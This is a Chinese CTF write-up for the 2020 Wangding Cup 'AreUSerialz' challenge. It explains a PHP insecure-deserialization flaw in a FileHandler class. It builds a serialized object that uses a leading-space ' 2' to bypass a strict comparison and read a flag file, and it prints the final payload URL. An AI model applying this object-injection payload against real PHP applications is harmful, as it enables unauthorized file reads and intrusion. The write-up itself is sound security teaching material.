当前位置: 首页 > news >正文

从零学网络安全 - CTF真题解析 2020-网鼎杯-青龙组-Web-AreUSerialz

一、目标:获取 Flag

1. 我们有两个文件

NewFlag.php

<?php
class NewFlag {public static function getFlag($fileName) {$res = "flag error";if($fileName ==="NewFlag.php") {$res = "flag:{this is flag}";}return $res;}
}
?>

ctf2.php

<?php
include("NewFlag.php");
highlight_file(__FILE__);
class FileHandler {protected $op;protected $filename;protected $content;function __construct() {$op = "1";$filename = "tmpfile";$content = "Hello World!";$this->process();}public function process() {if($this->op == "1") {$this->write();} else if($this->op == "2") {$res = $this->read();$this->output($res);} else {$this->output("Bad Hacker!");}}private function write() {if(isset($this->filename) && isset($this->content)) {if(strlen((string)$this->content) > 100) {$this->output("Too long!");die();}$res = file_put_contents($this->filename, $this->content);if($res) $this->output("Successful!");else $this->output("Failed!");} else {$this->output("Failed!");}}private function read() {$res = "";if(isset($this->filename)) {$res = NewFlag::getFlag($this->filename);}return $res;}private function output($s) {echo "[Result]: <br>";echo $s;}function __destruct() {if($this->op === "2")$this->op = "1";$this->content = "";$this->process();}
}function is_valid($s) {for($i = 0; $i < strlen($s); $i++)if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))return false;return true;
}if(isset($_GET{'str'})) {$str = (string)$_GET['str'];if(is_valid($str)) {$obj = unserialize($str);}
}
?>

二、分析代码

1. 补充知识点:__wakeup() 函数比 __destruct() 函数先执行

__destruct() 函数:当一个对象被销毁时自动调用。

__wakeup() 函数:当我们将一个字符串反序列化时自动调用。

由于此题里没有 __wakeup() 函数,所以要另找突破口。

2. 寻找突破口

因为前面代码都是对象内的函数,所以突破口一定在这段代码。

if(isset($_GET{'str'})) {$str = (string)$_GET['str'];if(is_valid($str)) {$obj = unserialize($str);}
}

很明显,这里有个输入字符串 str,所以最后我们要的答案一定类似于:

http://localhost/ctf2.php?str=XXX ,现在我们的目标是找到 XXX,并且 XXX 是序列化后的对象,才能执行对象里的函数。

这里有一个判断函数 is_valid($str),用来判断 str 是否满足标准可打印 ASCII 字符,这个无需过多关注。

继续分析,程序结束后一定会调用 __destruct() 函数,__destruct() 函数里又有一个 process() 函数。分析 process() 函数,可以看到有一个 read() 函数,而 read() 函数是可以读取 NewFlag.php 的,所以我们要想办法让 read() 函数被执行。继续看 read() 函数执行条件,是让 op=2。

3. 构造数据

根据以上条件,新建一个 php 文件,并执行。对象属性里的 $content 似乎没什么用,我们可以任意赋值。

<?php
class FileHandler {public $op=" 2";public $filename="NewFlag.php";public $content="abc";
}
$fh = new FileHandler();
echo serialize($fh);
?>

执行后得到:

O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:11:"NewFlag.php";s:7:"content";s:3:"abc";}

重点1:

源代码里的 protected 必须改成 public 才能顺利执行。

重点2:

op 的值必须用 $op=" 2" 而不是 $op="2",如果 $op="2",会被 __destruct() 函数强行改成"1"。

image

重点3:

phpStudy 版本过低不行,这是高版本的 bug,我们改成:

image

三、获得 Flag

1. 构造最终链接

http://localhost/ctf2.php?str=O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:11:"NewFlag.php";s:7:"content";s:3:"abc";}

回车后在页面最下方得到:

image

至此,成功夺旗。

http://www.jsqmd.com/news/578325/

相关文章:

  • seo网站推广免费方法有哪些
  • WordPress用Linux服务器还是Windows服务器更好?
  • 图片查找去重工具神器推荐:一键查重,支持批量删除。
  • 极空间玩出花!用 File Browser 搭建专属私有云,文件管理超丝滑
  • 从入门到实践:使用Python探索MovieLens数据集的奥秘
  • 中文NLP入门首选:bert-base-chinese预训练模型快速部署指南
  • 基于yolov8的路面缺陷检测系统
  • OpenClaw快速接入QQ教程
  • 企业做智能问数,最容易被低估的不是模型,而是人工预置工作量
  • 词元token是什么?——用大白话讲清楚
  • 普通人转行AI风口!AI大模型应用工程师:政策扶持+高薪+低门槛,成企业疯抢稀缺岗!
  • 告别手动下载官文!效率开挂神器分享:专利流程自动化的革命
  • 2026年 老化房厂家推荐排行榜,步入式老化房,高温老化房,恒温老化房,环境试验设备源头工厂深度解析 - 品牌企业推荐师(官方)
  • 单细胞测序技术原理与应用进展
  • 终极Milvus管理指南:Attu可视化工具如何将向量数据库运维效率提升300%
  • 手把手教你用FPGA实现SGMII接口:从IP核配置到板级调试全流程
  • Token经济:解锁AI时代的“石油”与“电力”,产业链全景解析!
  • OpenLayers 中 flatCoordinates: coordinates.flat() 完整解释
  • 2026 AI 智能体工程化深度解析:从词元逻辑到高可用链路构建
  • 西门子PLC程序模板:从硬件选型到HMI界面设计的完整项目指南
  • 夜间自动化!OpenClaw调度Qwen3-4B完成凌晨数据备份
  • 工程实践100道 · 第一篇:模型上线与部署25道
  • Word电子签名制作全攻略:从手写扫描到一键调用(附透明背景技巧)
  • [AI/GPT] Hugging Face : 开源大模型社区 | 机器学习(ML)和数据科学平台和社区、AI领域的Github
  • ARCMAP实战:3分钟搞定面数据200米内点筛选(附反向选择技巧)
  • 大模型工程师进阶指南:清华方案助你抢占AI时代C位!
  • RAG检索优化秘籍:问题完善技术大揭秘,让你的问答系统更懂你!
  • DL面试100题:③RNN/LSTM/序列模型(25道)
  • DriverStore Explorer:解决Windows驱动管理难题的开源工具方案
  • 2026短视频获客决胜点:AI矩阵系统哪家好?深度评测四大“增长黑科技”